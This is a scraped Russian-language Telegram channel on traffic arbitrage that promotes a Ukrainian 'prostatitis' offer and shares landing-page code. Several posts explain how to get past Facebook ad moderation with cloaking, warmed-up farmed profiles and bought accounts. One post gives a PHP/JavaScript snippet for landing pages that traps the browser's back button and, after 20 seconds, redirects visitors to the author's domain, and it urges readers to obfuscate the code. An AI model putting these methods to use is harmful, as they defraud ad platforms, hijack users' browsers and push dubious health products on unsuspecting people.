BoostClicks - Евгений Леонтьев
2.74K subscribers
379 photos
26 videos
12 files
241 links
Запасной пузырик для строительного уровня куда важнее, чем вся инфа про арбитраж трафика вместе взятая

По вопрсам рекламы - @Snegovikof

Мой ТГ: @Snegovikof
Лучшая КЛО: https://klo-boostclicks.online
Шоп: @shop_3kota_bot
https://boostclicks.tech
Download Telegram
Если хотите подключить универсальную маску на форму в инпут с номером телефона, 📲 можете разместить этот код перед закрывающим тегом </body> в самом низу страницы:
<script src="https://leontev-e.github.io/my-scripts/boostclicks-script.js"></script>
🚀 Суперского дня!

🧠 Сегодня делюсь с вами крутым скриптом, который предотвращает спам от одного пользователя на вашем сайте. Защита от долбоебов – это важно, так что давайте разберёмся, как всё работает!

📝 Скрипт вешается на форму и отслеживает, сколько раз форма была отправлена с одного браузера в течение последних 24 часов. Если попыток отправки больше двух, скрипт перенаправляет юзера на страницу с ошибкой. Никаких лишних отправок, никаких спам-лидов!

Как это работает?
Слушаем событие загрузки: Скрипт начинает работать, когда вся страница полностью загружена.
Отлавливаем отправку формы: При попытке отправить форму скрипт сначала перехватывает это действие (preventDefault), чтобы выполнить свои проверки.
Проверяем локальное хранилище: Скрипт смотрит, сколько раз форма была отправлена с этого устройства за последние 24 часа.
Принимаем решение: Если отправок было больше двух, юзера отправляют на страницу с ошибкой. Если нет – добавляем текущую метку времени в лог и разрешаем отправку формы.
🔧 Это идеальный способ сохранить качество трафа и защититься от спама. Используйте его на своих лендингах, чтобы держать всё под контролем!

👉 Если вам нужно что-то ещё по теме защиты форм, прокл или есть вопросы – пишите, обсудим!

💡 Скрипт лучше всего подключать в низу страницы, перед закрывающим тегом </body>


document.addEventListener("DOMContentLoaded", function () {
const form = document.querySelector("form");

form.addEventListener("submit", function (event) {
event.preventDefault();
const now = Date.now();
const requestLogs = JSON.parse(localStorage.getItem('requestLogs')) || [];

const filteredLogs = requestLogs.filter(log => (now - log.timestamp) < 24 * 60 * 60 * 1000);

if (filteredLogs.length >= 2) {
window.location.href = 'error.php';
} else {
filteredLogs.push({ timestamp: now });
localStorage.setItem('requestLogs', JSON.stringify(filteredLogs));
form.submit();
}
});
});
👍3
Как то сегодня тухленько все у меня идет 🫣
Отклонов процентов 80, старые крео пачкой перестали конвертить.
И под конец рабочего дня еще полиси словил.

Ну да ладно. Будет новый день, мы еще покажем этим засранцам (FB) как мы отливаем 🔞
Please open Telegram to view this post
VIEW IN TELEGRAM
Хотел написать статью на сайте, но да ладно... Пусть каждый подумает, как можно упаковать и замаскировать данный функционал.

Есть у нас Кейтаро, в нем привязано много доменов и куча компаний. Все домены прокинуты через Cloudflare. Все здорово. Но мы не очень рады, когда у нас угоняют проклы. Покажу пример, как возвращать трафик с угнанных прокл...

Метод написан базовый, как я уже сказал, нужно подумать, как его замаскировать и доработать.

Шаг 1: Размещаем код в самом верху страницы перед тегом <html>


<?php
// IP-адрес вашего сервера
$expected_ip = '185.185.185.185';

// Попробуем получить IP-адрес сервера разными методами
$server_ip = $_SERVER['SERVER_ADDR'] ?? getenv('SERVER_ADDR') ?? gethostbyname(gethostname());

// Дополнительные методы для получения IP-адреса
if (!$server_ip || $server_ip == 'UNKNOWN') {
if (isset($_SERVER['LOCAL_ADDR'])) {
$server_ip = $_SERVER['LOCAL_ADDR'];
} elseif (function_exists('shell_exec')) {
$server_ip = trim(shell_exec("hostname -I | awk '{print $1}'"));
}
}

// Если не удалось получить IP-адрес, установить значение 'UNKNOWN'
if (!$server_ip) {
$server_ip = 'UNKNOWN';
}
?>


Соответственно, страница должна быть в расширении .php.

Шаг 2: Перед закрывающим тегом </head> размещаем код проверки и редиректа на наш URL:


<script>
(function () {
const expectedIp = '<?php echo $expected_ip; ?>';
const serverIp = '<?php echo $server_ip; ?>';
const redirectUrlBase = "https://down-web.ru/?";
let params = (new URL(document.location)).searchParams;
let redirectUrl = redirectUrlBase;

// Формируем новый URL для перенаправления с учетом параметров
params.forEach(function (value, key) {
redirectUrl += key + '=' + value + '&';
});

// Удаляем последний символ "&" из строки, если он есть
redirectUrl = redirectUrl.slice(0, -1);

function isLocalhost() {
return window.location.hostname === "localhost" ||
window.location.hostname === "127.0.0.1" ||
window.location.protocol === "file:";
}

function checkIpAndRedirect() {
if (!isLocalhost() && serverIp !== expectedIp) {
// IP не совпадает и сайт не открыт локально, делаем редирект через 20 секунд
setTimeout(function() {
var t;
try {
for (t = 0; 10 > t; ++t) history.pushState({}, "", document.location);
onpopstate = function (t) {
t.state && location.replace(redirectUrl);
}
} catch (o) { }
location.replace(redirectUrl);
}, 20000); // 20 секунд
}
}

document.addEventListener("DOMContentLoaded", checkIpAndRedirect);
})();
</script>


Что делает код:
- Проверяет, с какого IP открыт сайт.
- Сравнивает данный IP с нашим (на котором установлен Кейтаро).
- Если IP адрес не совпадает, через 20 секунд делается редирект на наш URL.
- Если сайт открыт локально с компьютера, редирект не выполняется.

Можно доработать и дописать код так, чтобы он срабатывал, например, только если юзер агент Facebook или Instagram, но эту часть я оставлю вам. 😉
👍1
Как выхи прошли? Сейчас вариант остается 1. Лить в зеленые РОЯ)

Надеюсь что это понимание как можно скорее и до ПП дойдет! При падении обьемов я думаю и они засуетятся.

Кстати, помянем всех криптанов сегодня 😉
2
За последние 2 дня в проебе 5 кабов - ADS_INTEGRITY_POLICY 🫣
Но ничего, не жалко, у меня еще есть 😜
Please open Telegram to view this post
VIEW IN TELEGRAM
Сегодня заливается на ура 🎉

Главное сохранять пропорции.
Замес 6-5-2-2 😁
😁5
🔥 Готовим и прогреваем ФПшки на максимум!

Заполняем профили по полной, пока не доведем до ОТЛИЧНОГО состояния. Прогрев делаем нейтральным контентом — ничего лишнего, только нужный нам результат.

🚀 Как запускаемся:
Через 3-4 дня после прогрева начинаю запускать рекламу. В первый день — только одно крео на одну кампанию, даю ему сутки, чтобы "повисело". Если сразу вваливать много, рискуем нарваться на полиси, а это нам точно не надо.

🐢 Лучше медленно, но верно:
В нынешних условиях важно не спешить. Идем потихоньку, не сливая бюджет, и строим рабочие сетапы для залива.
🔤🔤🔤🔤🔤🔤

Завис сегодня в спае, и хочу поделиться активной связкой 🎶

ГЕО: Украина 🇺🇦
Направление: Простатит

Мне очень нравятся подобные лендинги, без огромной портянки унылого текста.

Крео и проклу прикрепил 😉
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2
down-web.zip
4.7 MB
Прокла к посту выше: Украина - простатит
При запуске на новых кабах старых и рабочих крео, в 100% случаев реджект - Недопустимые бизнес-модели. 😢
Решить проблему можно только на 100% уникальными крео. Они крутятся на новом кабе 3-4 дня, дальше пуляем уже свои старые и рабочие креосы без реджектов. 👌
Взял пачку польских авторегов, а тут такая картина маслом 😕

В итоге приходится запуски делать через fbtool.
Но с другой стороны их и не жалко в сегодняшних условиях работы.
На каждом втором аккаунте после прохождения капчи кнопка 'Продолжить' не нажимается. Пока это никак не удаётся вылечить...
Сегодня решил затестить «правильный» залив 👇

Что мы имеем:
- платная клоака хайдклик
- прогретые лички
- чистые домены
- качественные вайты

Запускаемся:
На каждый каб запускаем 1 РК с 1 адсетом 1-1-1.
Крео уникальные от штатного диза
1 каб - 1 компания - 1 крео - 1 свежий домен.
Все это клоачим через хайдклик.


Результаты: 😲

1 каб прошла модерация, траф льется, все хорошо.
3 Каба бан Полиси 🤣
Ну как то так и живем)
Please open Telegram to view this post
VIEW IN TELEGRAM
😁3